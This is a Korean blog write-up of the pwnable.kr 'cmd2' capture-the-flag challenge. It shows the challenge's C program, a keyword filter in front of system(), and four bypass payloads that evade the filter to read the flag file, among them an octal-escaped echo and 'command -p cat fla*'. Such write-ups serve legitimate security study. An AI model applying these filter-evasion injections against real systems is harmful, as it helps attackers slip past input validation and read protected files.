Self-Improvement

[pwnable.kr] cmd2 풀이 본문

리버싱 기초/pwnable.kr

[pwnable.kr] cmd2 풀이

JoGeun 2020. 6. 24. 17:49

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}
 
extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}
cs

 

cmd1 문제보다 필터링하는게 더 많아졌을 뿐 문제 형식을 동일하다.

처음에는 echo로 접근하고 있다가 끝내 못풀고 말아서 다른사람들의 방식을 보고 정리해보고자 한다.

 

1. set

./cmd2 'set -s'
/bin/cat flag

 

2. read

./cmd2 'read a;$a'
/bin/cat flag

 

3. command

./cmd2 'command -p cat fla*'

 

4. echo

./cmd2 '$(echo "\057"bin"\057"cat fl*)'

 

'리버싱 기초 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] uaf 풀이  (0) 2020.07.13
[pwnable.kr] cmd1 풀이  (0) 2020.06.24
[pwnable.kr] lotto 풀이  (0) 2020.06.24
[pwnable.kr] blackjack 풀이  (0) 2020.06.24
[pwnable.kr] shellshock 풀이 (쉘숔 CVE-2014-6271)  (0) 2020.06.24